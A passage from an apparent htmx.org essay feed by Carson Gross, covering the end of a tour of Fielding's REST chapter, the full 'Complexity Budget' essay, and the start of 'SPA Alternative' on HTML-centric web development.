&lt;p&gt;This is in contrast with a thick client approach where, for example, a local store may be sync’d asynchronously with
a back end and, thus, the HTML is not acting as the engine of application state, but rather as a (somewhat janky)
UI description language.&lt;&#x2F;p&gt;
&lt;p&gt;Somewhat hilariously, the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;HATEOAS&quot;&gt;Wikipedia article on HATEOAS&lt;&#x2F;a&gt; uses JSON, which is not
a natural hypermedia.  You can layer some REST-ful behavior on top of JSON if you want, but it has rarely been useful
in the real world, and HATEOAS is usually ignored in JSON APIs.  This makes sense because JSON APIs are useful mainly
for the traditional client-server architecture and aren’t particularly amenable to the REST-ful style.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;uniform-interface-summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#uniform-interface-summary&quot; aria-label=&quot;Anchor link for: uniform-interface-summary&quot;&gt;Uniform Interface Summary&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;That’s the crux of REST and really the crux of this essay.  You can read on for a bit more detail and analysis of Fieldings
paper, but the core take away here is that there is a sharp distinction between a REST-ful hypermedia architecture and
traditional client-server architectures, and that distinction revolves mainly around the concept of a uniform interface,
and the self-describing nature of them in particular.&lt;&#x2F;p&gt;
&lt;p&gt;Again, don’t get bogged down in the jargon here, just think about this HTML and what a miracle of flexibility and
ingenuity it is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      Name: Joe Blow
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      Email: joe@blow.com
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;edit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Edit&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Email&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;archive&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Archive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;layered-system&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#layered-system&quot; aria-label=&quot;Anchor link for: layered-system&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_6&quot;&gt;Layered System&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;You don’t need to know much about this, except that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Content_delivery_network&quot;&gt;CDNs exist&lt;&#x2F;a&gt;, and you should use them.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;code-on-demand&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#code-on-demand&quot; aria-label=&quot;Anchor link for: code-on-demand&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_7&quot;&gt;Code-On-Demand&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Again, you don’t need to know much about this, except that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;javascript&quot;&gt;Javascript exists&lt;&#x2F;a&gt;, and
that it’s the only part that’s optional.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-5-2-rest-architectural-elements&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#section-5-2-rest-architectural-elements&quot; aria-label=&quot;Anchor link for: section-5-2-rest-architectural-elements&quot;&gt;Section 5.2 - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_2&quot;&gt;REST Architectural Elements&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I won’t drill in as deeply on this section as we did others because it gets pretty technical and, frankly, is a bit
boring and repetitive (as one might expect from a dissertation.)  The two big ideas in this section are Resources and
Representations.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-5-2-1-resources-and-resource-identifiers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#section-5-2-1-resources-and-resource-identifiers&quot; aria-label=&quot;Anchor link for: section-5-2-1-resources-and-resource-identifiers&quot;&gt;Section 5.2.1 - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_2&quot;&gt;Resources and Resource Identifiers&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;From the paper:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The key abstraction of information in REST is a resource. Any information that can be named can be a resource: a document
or image, a temporal service (e.g. “today’s weather in Los Angeles”), a collection of other resources, a
non-virtual object (e.g. a person), and so on.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Practically, a resource is anything that can be addressed by a URL.  What happens when you access a URL?&lt;&#x2F;p&gt;
&lt;p&gt;Well, you get back a &lt;em&gt;representation&lt;&#x2F;em&gt; of that resource, in the form of an HTTP response that may contain HTML, directives
and so forth.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-5-2-1-representations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#section-5-2-1-representations&quot; aria-label=&quot;Anchor link for: section-5-2-1-representations&quot;&gt;Section 5.2.1 - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_2&quot;&gt;Representations&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I don’t find a lot of practical use in this section.  There is some stuff on control data, media types and so forth,
which are all worth learning about eventually when needed, but aren’t a commonly used aspect of web development.&lt;&#x2F;p&gt;
&lt;p&gt;The remaining sections 5.2 similarly do not offer much to the generalist.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-5-3-rest-architectural-views&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#section-5-3-rest-architectural-views&quot; aria-label=&quot;Anchor link for: section-5-3-rest-architectural-views&quot;&gt;Section 5.3 - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_3&quot;&gt;REST Architectural Views&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In what is becoming a pattern, I again do not feel there is a lot of useful new information for the average web
developer in this section, with one big exception: it lays out the benefits of REST.&lt;&#x2F;p&gt;
&lt;p&gt;From the paper:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;REST’s client-server separation of concerns simplifies component implementation, reduces the complexity of connector semantics,
improves the effectiveness of performance tuning, and increases the scalability of pure server components.
Layered system constraints allow intermediaries–proxies, gateways, and firewalls–to be introduced at various points
in the communication without changing the interfaces between components, thus allowing them to assist in communication
translation or improve performance via large-scale, shared caching. REST enables intermediate processing by constraining
messages to be self-descriptive: interaction is stateless between requests, standard methods and media types are used
to indicate semantics and exchange information, and responses explicitly indicate cacheability.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is all very true, and is why the web has been so successful and will continue to be successful.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sections-5-4-5-5-related-work-summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#sections-5-4-5-5-related-work-summary&quot; aria-label=&quot;Anchor link for: sections-5-4-5-5-related-work-summary&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_4&quot;&gt;Sections 5.4&lt;&#x2F;a&gt; &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_5&quot;&gt;5.5&lt;&#x2F;a&gt; - Related Work &amp;amp; Summary&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;These brief sections are not relevant to non-academics interested in REST.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#summary&quot; aria-label=&quot;Anchor link for: summary&quot;&gt;Summary&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So there you have it, a brief tour of Chapter 5 of Roy Fielding’s dissertation, which gave us the term REST.  I have
focused in on the areas that I think are most important for web developers to understand and tried to convey how
REST describes the original web model.  The uniform interface concept is, in my opinion, the most important and interesting
aspect of REST, and is useful for web developers to understand as it is primarily responsible for the benefits described
above.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, I hope you can see how inappropriate REST is for describing most JSON APIs in use today.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Complexity Budget</title>
        <published>2020-10-29T00:00:00+00:00</published>
        <updated>2024-01-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/complexity-budget/"/>
        <id>https://htmx.org/essays/complexity-budget/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/complexity-budget/">&lt;p&gt;Every software project involves managing a complexity budget.&lt;&#x2F;p&gt;
&lt;p&gt;A complexity budget can be defined as:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;An explicit or implicit allocation of complexity across the entire application&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;“Complexity” here is defined subjectively (rather than &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Programming_complexity&quot;&gt;formally&lt;&#x2F;a&gt;)
and in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;I_know_it_when_I_see_it&quot;&gt;Stewartian Terms&lt;&#x2F;a&gt;: “I know it when I see it.”&lt;&#x2F;p&gt;
&lt;p&gt;Or, more specifically to software development: “I know it when I &lt;em&gt;feel&lt;&#x2F;em&gt; it.”&lt;&#x2F;p&gt;
&lt;p&gt;One of the primary jobs of an application architect is to manage a projects complexity budget:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Decide if a given feature is “worth it”&lt;&#x2F;li&gt;
&lt;li&gt;Decide if a given implementation is “worth it”&lt;&#x2F;li&gt;
&lt;li&gt;Add appropriate system boundaries to limit complexity between components&lt;&#x2F;li&gt;
&lt;li&gt;And so on&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;An infuriating aspect of complexity is that that attempts to address it can, in fact, add more complexity.&lt;&#x2F;p&gt;
&lt;p&gt;A good example of this from experience was when a company I worked at added &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;OSGi&quot;&gt;OSGi&lt;&#x2F;a&gt; to the system to manage the
increasing complexity of the project.  It seemed like a reasonable approach,
it offered a sophisticated &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.osgi.org&#x2F;resources&#x2F;what-is-osgi&#x2F;&quot;&gt;module&lt;&#x2F;a&gt; system,
it was recommended by a newly hired architect, and it even says on the “What is OSGI page”:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OSGi significantly reduces complexity in almost all aspects of development: code is easier to write and test, reuse is
increased, build systems become significantly simpler, deployment is more manageable, bugs are detected early, and
the runtime provides an enormous insight into what is running.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;What’s not to like?&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, adding OSGi to that project effectively ground the entire project to a halt: it took a few of our best
engineers out of normal application development for over a year, and when they were done the codebase was even more
difficult to work with than when they started.  Feature velocity, already teetering, collapsed.&lt;&#x2F;p&gt;
&lt;p&gt;This is not to say OSGi is universally bad.  But, in this case, rather than boosting our development teams productivity,
it effectively ended it.&lt;&#x2F;p&gt;
&lt;p&gt;A good software architect is someone who manages the software budget of their project effectively, either explicitly or
implicitly.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;complexity-growth&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#complexity-growth&quot; aria-label=&quot;Anchor link for: complexity-growth&quot;&gt;Complexity Growth&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;My sense, admittedly without hard evidence, is that Stewartian Application Complexity grows roughly geometrically with
the size of an application.  Proper &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Decomposition_(computer_science)&quot;&gt;factoring&lt;&#x2F;a&gt; by
experienced developers can hold this curve down for quite some time.&lt;&#x2F;p&gt;
&lt;p&gt;However, this doesn’t change the fact that, somewhere out there, there is a Complexity Wall lurking.&lt;&#x2F;p&gt;
&lt;p&gt;And, if you aren’t careful, you will run headlong into it and grind your development velocity to a halt.&lt;&#x2F;p&gt;
&lt;p&gt;I have had multiple experiences with this: one day, inexplicably, development on a system that I was working on went
from feeling “large, but manageable” to “this is impossible to deal with”.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;spending-your-complexity-budget-wisely&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#spending-your-complexity-budget-wisely&quot; aria-label=&quot;Anchor link for: spending-your-complexity-budget-wisely&quot;&gt;Spending Your Complexity Budget Wisely&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Here are some tools for managing your complexity budget:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Foremost: understanding that there &lt;em&gt;is&lt;&#x2F;em&gt; a complexity budget that needs to be managed&lt;&#x2F;li&gt;
&lt;li&gt;Focus your “complexity spend” on the areas where your application is adding value and&#x2F;or differentiates itself&lt;&#x2F;li&gt;
&lt;li&gt;Saying “No” - probably the easiest, best and, also, hardest tool to use in your battle with complexity&lt;&#x2F;li&gt;
&lt;li&gt;Embracing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;KISS_principle&quot;&gt;KISS&lt;&#x2F;a&gt;, even if it means admitting you are stupid (Note that it’s often very good for an organization if the senior developers can admit they are fallible)&lt;&#x2F;li&gt;
&lt;li&gt;Proper factoring of components - this is an art: Too many components and your complexity explodes.  Too few… same.&lt;&#x2F;li&gt;
&lt;li&gt;Choosing the proper balance of expressiveness and restrictions for a component&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Unfortunately, experience shows that managing Stewartian Complexity is a subjective endeavor and that many talented and
experience developers will disagree on the proper course of action at a given decision point.&lt;&#x2F;p&gt;
&lt;p&gt;Nonetheless, by making the concept of a complexity budget explicit in your software project, these conversations can be
more productive and ultimately lead to better software outcomes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-final-note&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-final-note&quot; aria-label=&quot;Anchor link for: a-final-note&quot;&gt;A Final Note&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Almost all mature applications are complex.&lt;&#x2F;p&gt;
&lt;p&gt;Finding a new codebase “complex” is &lt;em&gt;not&lt;&#x2F;em&gt; an excuse for tearing everything apart or aggressive refactoring.  We must always bear in mind &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fs.blog&#x2F;2020&#x2F;03&#x2F;chestertons-fence&#x2F;&quot;&gt;Chesterton’s Fence&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If an application is functioning well (or even reasonably) then we should assume that the complexity budget was well
(or at least reasonably) managed.&lt;&#x2F;p&gt;
&lt;p&gt;And we must always remember that, with unfortunate frequency, big attempts at addressing complexity in existing, large
applications often fail or, sadly, make things worse.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SPA Alternative</title>
        <published>2020-10-29T00:00:00+00:00</published>
        <updated>2022-02-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/spa-alternative/"/>
        <id>https://htmx.org/essays/spa-alternative/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/spa-alternative/">&lt;p&gt;Recently &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&quot;&gt;Tom MacWright&lt;&#x2F;a&gt; has written a few posts on Single Page Applications and their discontents:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&#x2F;2020&#x2F;05&#x2F;10&#x2F;spa-fatigue.html&quot;&gt;Second-guessing the modern web&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;macwright.com&#x2F;2020&#x2F;10&#x2F;28&#x2F;if-not-spas.html&quot;&gt;If not SPAs, What?&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The emerging norm for web development is to build a React single-page application, with server rendering. The two key
elements of this architecture are something like:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The main UI is built &amp;amp; updated in JavaScript using React or something similar.&lt;&#x2F;li&gt;
&lt;li&gt;The backend is an API that that application makes requests against.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;This idea has really swept the internet. It started with a few major popular websites and has crept into corners
like marketing sites and blogs.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;In these two articles Tom lays out the problem associated with the React&#x2F;SPA everywhere mindset.  If I can summarize
them in one sentence: SPA frameworks tend to be complex, and you don’t get a lot of benefit for all that
complexity in many cases.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-alternative&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-alternative&quot; aria-label=&quot;Anchor link for: an-alternative&quot;&gt;An Alternative&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Tom outlines a few alternatives to the SPA approach in the second article and, I’m happy to say, mentions htmx.  However,
he classifies htmx (as well as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stimulusjs.org&#x2F;&quot;&gt;Stimulus&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alpinejs&#x2F;alpine&#x2F;&quot;&gt;Alpine.js&lt;&#x2F;a&gt;)
as “progressive-enhancement” libraries.  This is a good description, but, at least in the case of htmx, I think there
is a better term to help describe this style of library: &lt;em&gt;HTML-Centric&lt;&#x2F;em&gt; (or, perhaps, &lt;em&gt;Hypertext-Centric&lt;&#x2F;em&gt;)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;html-centric-development&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#html-centric-development&quot; aria-label=&quot;Anchor link for: html-centric-development&quot;&gt;HTML-Centric Development&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In HTML-Centric Development, rather than being an afterthought, HTML is embraced as the primary medium of application
development.  This is in contrast to most SPA frameworks, where a client-side model &amp;amp; the javascript that manipulates
it is the central focus.&lt;&#x2F;p&gt;
&lt;p&gt;HTML-Centric Development builds on the original model of the web, as outlined in
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;top.htm&quot;&gt;Roy Fielding’s PhD dissertation&lt;&#x2F;a&gt;, describing the web
architecture.  In particular, by embracing HTML as a hypertext, you get the benefits of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;REST and HATEOAS&lt;&#x2F;a&gt;, all without needing to
be an expert in either of those topics.&lt;&#x2F;p&gt;
&lt;p&gt;(Recall, Roy was &lt;em&gt;describing&lt;&#x2F;em&gt; the web architecture, so the original web was
largely REST-ful, without any particular effort on the part of the original participants)&lt;&#x2F;p&gt;
&lt;p&gt;By picking HTML-Centric Development, you accrue many benefits:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A simpler front end allows you to save your &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;complexity-budget&#x2F;&quot;&gt;complexity budget&lt;&#x2F;a&gt; for the back end functionality
that differentiates your application from others.&lt;&#x2F;li&gt;
&lt;li&gt;You do not face pressure to adopt javascript on the back end “since the front end is written in javascript”.  This allows
you to use the best backend framework for your particular application.&lt;&#x2F;li&gt;
&lt;li&gt;With a simpler front end, a “full stack” developer can more easily manage and optimize front-to-back optimization in
your application, leading to much better system tuning&lt;&#x2F;li&gt;
&lt;li&gt;Your web application is going to have HTML in it anyway, so by maximizing its utility you are boosting the power of
an existing component, rather than adding another layer of complexity between the end user and your application code.&lt;&#x2F;li&gt;
&lt;li&gt;The stateless network model of the web has proven very resilient and easy to develop for.  Many mature and battle-tested
technologies and techniques (e.g. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Caching&quot;&gt;caching&lt;&#x2F;a&gt;) exist for
building HTML-based applications.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;html-the-bad-parts&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#html-the-bad-parts&quot; aria-label=&quot;Anchor link for: html-the-bad-parts&quot;&gt;HTML: The Bad Parts&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;With all these benefits of the HTML-Centric model, one may wonder why it has been abandoned (and is often mocked) by
many web developers.  At a high level, the answer is:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;HTML-Centric applications have historically offered a limited
amount of interactivity when compared with javascript-based applications&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is in large part because HTML is a limited hypertext.  In particular:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Only &lt;code&gt;&amp;lt;a&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; can make HTTP requests&lt;&#x2F;li&gt;
&lt;li&gt;Only &lt;code&gt;click&lt;&#x2F;code&gt; &amp;amp; &lt;code&gt;submit&lt;&#x2F;code&gt; events can trigger them&lt;&#x2F;li&gt;
&lt;li&gt;Only GET &amp;amp; POST &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;HTTP Methods&lt;&#x2F;a&gt; are widely available&lt;&#x2F;li&gt;
&lt;li&gt;A request must replace the entire screen, leading to a clunky and sometimes jarring user experience&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Of course, none of the constraints are inherent in the concept of a hypertext, and the goal of &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt;
is to remove each of them.&lt;&#x2F;p&gt;
